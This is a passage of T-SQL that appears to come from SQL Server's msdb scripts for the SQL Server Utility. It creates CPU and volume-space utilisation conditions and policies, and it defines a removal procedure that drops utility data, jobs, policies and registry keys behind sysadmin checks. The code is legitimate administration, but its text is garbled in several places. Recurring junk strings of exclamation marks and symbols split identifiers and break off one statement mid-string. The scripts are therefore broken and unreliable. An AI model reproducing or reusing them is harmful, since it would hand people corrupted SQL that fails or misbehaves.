    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerProcessorOverUtilizationCondition', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityServerProcessorOverUtilizationTargetCondition', 
    @description=N'The SQL Server Utility condition that is used to determine whether the CPU overutilization policy is violated for a managed instance of SQL Server. This condition is used by the utility control point to query the managed instances of SQL Server.', 
    @facet=N'Server', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GT</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUsage</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerProcessorOverUtilizationTargetCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerProcessorUnderUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityServerProcessorUnderUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the CPU underutilization policy is satisfied for a managed instance of SQL Server. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'Server', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUsage</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerProcessorUnderUtilizationCondition', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityServerProcessorUnderUtilizationTargetCondition', 
    @description=N'The SQL Server Utility condition that is used to determine whether the CPU underutilization policy is violated for a managed instance of SQL Server. This condition is used by the utility control point to query the managed instances of SQL Server.', 
    @facet=N'Server', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LT</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUsage</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerProcessorUnderUtilizationTargetCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacProcessorOverUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityDacProcessorOverUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the CPU overutilization policy is satisfied for a deployed data-tier application. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'DeployedDac', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacProcessorOverUtilizationCondition', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityDacProcessorOverUtilizationTargetCondition', 
    @description=N'The SQL Server Utility condition that is used to determine whether the CPU overutilization policy is violated for a deployed data-tier application. This condition is used by the utility control point to query the deployed data-tier applications. ', 
    @facet=N'DeployedDac', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GT</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacProcessorOverUtilizationTargetCondition', @marker=1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(N.ev+
    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacProcessorUnderUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityDacProcessorUnderUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the CPU underutilization policy is satisfied for a deployed data-tier application. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'DeployedDac', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacProcessorUnderUtilizationCondition', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityDacProcessorUnderUtilizationTargetCondition', 
    @description=N'The SQL Server Utility condition that is used to determine whether the CPU underutilization policy is violated for a deployed data-tier application. This condition is used by the utility control point to query the deployed data-tier applications. ', 
    @facet=N'DeployedDac', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LT</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacProcessorUnderUtilizationTargetCondition', @marker=1

    ------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityVolumeSpaceOverUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityVolumeSpaceOverUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the volume space overutilization policy is satisfied for a computer that hosts a managed instance of SQL Server. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'Volume', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>TotalSpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityVolumeSpaceOverUtilizationCondition', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityVolumeSpaceOverUtilizationTargetCondition', 
    @description=N'The SQL Server Utility condition that is used to determine whether the volume space overutilization policy is violated for a computer that hosts a managed instance of SQL Server. This condition is used by the utility control point to query the volumes.', 
    @facet=N'Volume', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GT</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>TotalSpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityVolumeSpaceOverUtilizationTargetCondition', @marker=1

    ------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityVolumeSpaceUnderUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityVolumeSpaceUnderUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the volume space underutilization policy is satisfied for a computer that hosts a managed instance of SQL Server. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'Volume', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>TotalSpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityVolumeSpaceUnderUtilizationCondition', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityVolumeSpaceUnderUtilizationTargetCondition', 
    @description=N'The SQL Server Utility condition that is used to determine whether the volume space underutilization policy is violated for a computer that hosts a managed instance of SQL Server. This condition is used by the utility control point to query the volumes. ', 
    @facet=N'Volume', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LT</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>TotalSpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityVolumeSpaceUnderUtilizationTargetCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityComputerProcessorOverUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityComputerProcessorOverUtilizationPolicy_ObjectSet', @facet=N'Computer', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityComputerProcessorOverUtilizationPolicy_Ob!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(N\w v+jectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityComputerProcessorOverUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Computer', @type=N'COMPUTER', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Computer', @level_name=N'Computer', @condition_name=N'UtilityComputerProcessorOverUtilizationTargetCondition', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityComputerProcessorOverUtilizationPolicy', @condition_name=N'UtilityComputerProcessorOverUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for CPU overutilization on a computer that hosts a managed instance of SQL Server.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityComputerProcessorOverUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityComputerProcessorOverUtilizationPolicy', @marker=1

    SELECT @computer_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/Computer'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityComputerProcessorOverUtilizationPolicy',@rollup_object_type=3,@rollup_object_urn=@computer_urn,@target_type=1,@resource_type=3,@utilization_type=2,@utilization_threshold=70

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityComputerProcessorUnderUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityComputerProcessorUnderUtilizationPolicy_ObjectSet', @facet=N'Computer', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityComputerProcessorUnderUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityComputerProcessorUnderUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Computer', @type=N'COMPUTER', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Computer', @level_name=N'Computer', @condition_name=N'UtilityComputerProcessorUnderUtilizationTargetCondition', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityComputerProcessorUnderUtilizationPolicy', @condition_name=N'UtilityComputerProcessorUnderUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for CPU underutilization on a computer that hosts a managed instance of SQL Server.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityComputerProcessorUnderUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityComputerProcessorUnderUtilizationPolicy', @marker=1

    SELECT @computer_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/Computer'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityComputerProcessorUnderUtilizationPolicy',@rollup_object_type=3,@rollup_object_urn=@computer_urn,@target_type=1,@resource_type=3,@utilization_type=1,@utilization_threshold=0

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacDataFileSpaceOverUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityDacDataFileSpaceOverUtilizationPolicy_ObjectSet', @facet=N'IDataFilePerformanceFacet', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacDataFileSpaceOverUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityDacDataFileSpaceOverUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Server/Database/FileGroup/File', @type=N'FILE', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database/FileGroup/File', @level_name=N'File', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database/FileGroup', @level_name=N'FileGroup', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database', @level_name=N'Database', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server', @level_name=N'Server', @condition_name=N'', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityDacDataFileSpaceOverUtilizationPolicy', @condition_name=N'UtilityDacDataFileSpaceOverUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for data file space overutilization for a deployed data-tier application.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityDacDataFileSpaceOverUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacDataFileSpaceOverUtilizationPolicy', @marker=1

    SELECT @dac_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/DeployedDac'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityDacDataFileSpaceOverUtilizationPolicy',@rollup_object_type=1,@rollup_object_urn=@dac_urn,@target_type=2,@resource_type=1,@utilization_type=2,@utilization_threshold=70

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacDataFileSpaceUnderUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy_ObjectSet', @facet=N'IDataFilePerformanceFacet', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Server/Database/FileGroup/File', @type=N'FILE', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Dat!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(OvW|vv'
CREATE PROCEDURE [dbo].[sp_sysutility_ucp_remove]
WITH EXECUTE AS CALLER
AS
BEGIN
    SET NOCOUNT ON;
    
    ---------------------------------------------------------------------
    -- Validation Steps
    ---------------------------------------------------------------------

    -- Validate the user running the script is sysadmin on the UCP instance
    IF (1 != IS_SRVROLEMEMBER(N'sysadmin ', SUSER_NAME()))  
    BEGIN
        RAISERROR(37008, -1, -1) 
        RETURN(1)
    END   

    -- Validate the instance is UCP
    IF (0 = (SELECT msdb.dbo.fn_sysutility_get_is_instance_ucp()))
    BEGIN
        RAISERROR(37009, -1, -1) 
        RETURN(1)
    END        
 
    -- Validate all managed instances are un-enrolled
    IF (0 < (SELECT COUNT(*) FROM [dbo].[sysutility_ucp_managed_instances]))  
    BEGIN
        RAISERROR(37010, -1, -1) 
        RETURN(1)
    END  
 

    ---------------------------------------------------------------------
    -- Remove UCP artifacts
    ---------------------------------------------------------------------

    IF  EXISTS (SELECT name FROM [master].[sys].[databases] WHERE name = N'sysutility_mdw')
    BEGIN

        -- Check whether there are other non-utility (DC system / custom) collection sets targeted to sysutility_mdw database
        IF (0 = (SELECT COUNT(*) FROM [sysutility_mdw].[core].[source_info_internal] WHERE collection_set_uid != N'ABA37A22-8039-48C6-8F8F-39BFE0A195DF'))  
        BEGIN

            -- Drop utility MDW database as there are no non-utility collection sets uploading data to this DB
            ALTER DATABASE [sysutility_mdw] SET SINGLE_USER WITH ROLLBACK IMMEDIATE;
            DROP DATABASE [sysutility_mdw];
            
            -- Delete MDW purge jobs 
            IF  EXISTS (SELECT job_id FROM [dbo].[sysjobs_view] WHERE name = N'mdw_purge_data_[sysutility_mdw]')
            BEGIN
                EXEC [dbo].sp_delete_job @job_name=N'mdw_purge_data_[sysutility_mdw]', @delete_unused_schedule=1
            END
            
        END  
        ELSE
        BEGIN
        
            -- There are non-utility collection sets uploading data to mdw
            -- so do not drop the MDW database; instead truncate utility tables to purge data
            DECLARE @schema_name SYSNAME
            DECLARE @table_name SYSNAME
            DECLARE @expression NVARCHAR(MAX)
            
            -- Truncate the dimension, measure and live tables in MDW database
            DECLARE tables_cursor CURSOR FOR    
            SELECT object_schema, object_name 
            FROM [sysutility_mdw].[sysutility_ucp_misc].[utility_objects_internal]
            WHERE sql_object_type = N'USER_TABLE'
              AND utility_object_type IN (N'DIMENSION', N'MEASURE', N'LIVE')
                
            OPEN tables_cursor;
            FETCH NEXT FROM tables_cursor INTO @schema_name, @table_name
            WHILE (@@FETCH_STATUS <> -1)
            BEGIN

                SET @expression = 'TRUNCATE TABLE [sysutility_mdw].' + QUOTENAME(@schema_name) + '.' + QUOTENAME(@table_name);
                EXEC sp_executesql @expression;

                FETCH NEXT FROM tables_cursor INTO @schema_name, @table_name
            END;
            CLOSE tables_cursor;
            DEALLOCATE tables_cursor;

        END
    END     

    --###FP 1

    ---------------------------------------------------------------------
    -- Truncate the utility tables in msdb database
    -- Note: Do not truncate tables in which data is pre-shipped
    ---------------------------------------------------------------------
    TRUNCATE TABLE [dbo].[sysutility_ucp_mi_health_internal];
    TRUNCATE TABLE [dbo].[sysutility_ucp_aggregated_mi_health_internal];
    TRUNCATE TABLE [dbo].[sysutility_ucp_mi_database_health_internal];
    TRUNCATE TABLE [dbo].[sysutility_ucp_mi_volume_space_health_internal];
    TRUNCATE TABLE [dbo].[sysutility_ucp_mi_file_space_health_internal];
    TRUNCATE TABLE [dbo].[sysutility_ucp_dac_health_internal];
    TRUNCATE TABLE [dbo].[sysutility_ucp_aggregated_dac_health_internal];
    TRUNCATE TABLE [dbo].[sysutility_ucp_dac_file_space_health_internal];
    TRUNCATE TABLE [dbo].[sysutility_ucp_computer_cpu_health_internal];
    TRUNCATE TABLE [dbo].[sysutility_ucp_filegroups_with_policy_violations_internal];
    TRUNCATE TABLE [dbo].[sysutility_ucp_policy_violations_internal];
    TRUNCATE TABLE [dbo].[sysutility_ucp_snapshot_partitions_internal];

    --###FP 2

    ---------------------------------------------------------------------
    -- Delete utility aggregation jobs 
    ---------------------------------------------------------------------
    IF  EXISTS (SELECT job_id FROM [dbo].[sysjobs_view] WHERE name = N'sysutility_get_views_data_into_cache_tables')
    BEGIN
        EXEC [dbo].sp_delete_job @job_name=N'sysutility_get_views_data_into_cache_tables', @delete_unused_schedule=1
    END       

    IF  EXISTS (SELECT job_id FROM [dbo].[sysjobs_view] WHERE name = N'sysutility_get_cache_tables_data_into_aggregate_tables_hourly')
    BEGIN
        EXEC [dbo].sp_delete_job @job_name=N'sysutility_get_cache_tables_data_into_aggregate_tables_hourly', @delete_unused_schedule=1
    END        

    IF  EXISTS (SELECT job_id FROM [dbo].[sysjobs_view] WHERE name = N'sysutility_get_cache_tables_data_into_aggregate_tables_daily')
    BEGIN
        EXEC [dbo].sp_delete_job @job_name=N'sysutility_get_cache_tables_data_into_aggregate_tables_daily', @delete_unused_schedule=1
    END        

    --###FP 3

    ---------------------------------------------------------------------
    -- Drop resource health policies, conditions and objectSets 
    ---------------------------------------------------------------------
    DECLARE @policy_name SYSNAME
    DECLARE @health_policy_id INT
    DECLARE @policy_id INT
    DECLARE @object_set_id INT
    DECLARE @condition_id INT
    DECLARE @target_condition_id INT
    
    DECLARE policies_cursor CURSOR FOR
    SELECT policy_name, health_policy_id
    FROM [dbo].[sysutility_ucp_policies]

    OPEN policies_cursor;
    FETCH NEXT FROM policies_cursor INTO @policy_name, @health_policy_id
    WHILE (@@FETCH_STATUS <> -1)
    BEGIN
        SELECT @policy_id = policy_id
            , @object_set_id = object_set_id
            , @condition_id = condition_id
        FROM [dbo].[syspolicy_policies]
        WHERE name = @policy_name
        
        -- Delete the policy 
        EXEC [dbo].sp_syspolicy_mark_system @type=N'POLICY', @object_id=@policy_id, @marker=0
        EXEC [dbo].sp_syspolicy_delete_policy @policy_id=@policy_id

        -- Get the target set condtions before deleting the object set  
        CREATE TABLE #target_conditions(condition_id INT);
        
        INSERT INTO #target_conditions 
        SELECT condition_id
        FROM [dbo].[syspolicy_target_sets] ts
            , [dbo].[syspolicy_target_set_levels] tsl
        WHERE ts.target_set_id = tsl.target_set_id
            AND ts.object_set_id = @object_set_id   
            
        -- Delete the object set
        EXEC [dbo].sp_syspolicy_mark_system @type=N'OBJECTSET', @object_id=@object_set_id, @marker=0
        EXEC [dbo].sp_syspolicy_delete_object_set @object_set_id=@object_set_id
        
        DECLARE target_conditions_cursor CURSOR FOR
        SELECT condition_id
        FROM #target_conditions
        
        OPEN target_conditions_cursor;
        FETCH NEXT FROM target_conditions_cursor INTO @target_condition_id
        WHILE (@@FETCH_STATUS <> -1)
        BEGIN
        
            IF (@target_condition_id IS NOT NULL)
            BEGIN
                --- Delete the target set condition
                EXEC [dbo].sp_syspolicy_mark_system @type=N'CONDITION', @object_id=@target_condition_id, @marker=0
                EXEC [dbo].sp_syspolicy_delete_condition @condition!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<.OvVrpv'_id=@target_condition_id
            END
            FETCH NEXT FROM target_conditions_cursor INTO @target_condition_id
            
        END;
        CLOSE target_conditions_cursor;
        DEALLOCATE target_conditions_cursor;
        DROP TABLE #target_conditions            
                            
        --- Delete the check condition
        EXEC [dbo].sp_syspolicy_mark_system @type=N'CONDITION', @object_id=@condition_id, @marker=0
        EXEC [dbo].sp_syspolicy_delete_condition @condition_id=@condition_id

        -- Delete the resource health policy
        DELETE [dbo].[sysutility_ucp_health_policies_internal]
        WHERE health_policy_id = @health_policy_id
            
        FETCH NEXT FROM policies_cursor INTO @policy_name, @health_policy_id
        
    END;
    CLOSE policies_cursor;
    DEALLOCATE policies_cursor;

    --###FP 4
        
    ---------------------------------------------------------------------
    -- Remove the utility related registry keys from the system
    ---------------------------------------------------------------------
    -- Remove the UtilityVersion registry key value 
    DECLARE @utility_version nvarchar(1024)
    EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                        N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                        N'UtilityVersion',
                                        @utility_version OUTPUT

    IF (@utility_version IS NOT NULL) 
    BEGIN
        EXEC master.dbo.xp_instance_regdeletevalue N'HKEY_LOCAL_MACHINE',
                                                   N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                                   N'UtilityVersion'
    END

    -- Remove the UcpName registry key value 
    DECLARE @utility_name nvarchar(1024)
    EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                        N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                        N'UcpName',
                                        @utility_name OUTPUT

    IF (@utility_name IS NOT NULL) 
    BEGIN
        EXEC master.dbo.xp_instance_regdeletevalue N'HKEY_LOCAL_MACHINE',
                                                   N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                                   N'UcpName'
    END
   
    -- Remove the UcpFriendlyName registry key value 
    DECLARE @utility_friendly_name nvarchar(1024)
    EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                        N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                        N'UcpFriendlyName',
                                        @utility_friendly_name OUTPUT

    IF (@utility_friendly_name IS NOT NULL) 
    BEGIN
        EXEC master.dbo.xp_instance_regdeletevalue N'HKEY_LOCAL_MACHINE',
                                                   N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                                   N'UcpFriendlyName'
    END

    -- Remove the Utility registry key  
    EXEC master.dbo.xp_instance_regdeletekey N'HKEY_LOCAL_MACHINE',
                                             N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility'    

    --###FP 5
            
    ---------------------------------------------------------------------
    -- Reset the processing state table to default values
    ---------------------------------------------------------------------    
    UPDATE [dbo].[sysutility_ucp_processing_state_internal]
    SET latest_processing_time = SYSDATETIMEOFFSET(), latest_health_state_id = 0, next_health_state_id = 1    

    --###FP 6

    ---------------------------------------------------------------------
    -- Update utility configuration table entries to default values
    -- Note: Keep this cleanup as the last one as the script uses this 
    -- to check if the target instance is a UCP in the validation
    ---------------------------------------------------------------------
    UPDATE [dbo].[sysutility_ucp_configuration_internal] SET current_value = N'' WHERE name like N'Utility%'
    UPDATE [dbo].[sysutility_ucp_configuration_internal] SET current_value = N'' WHERE name = N'MdwDatabaseName'
END
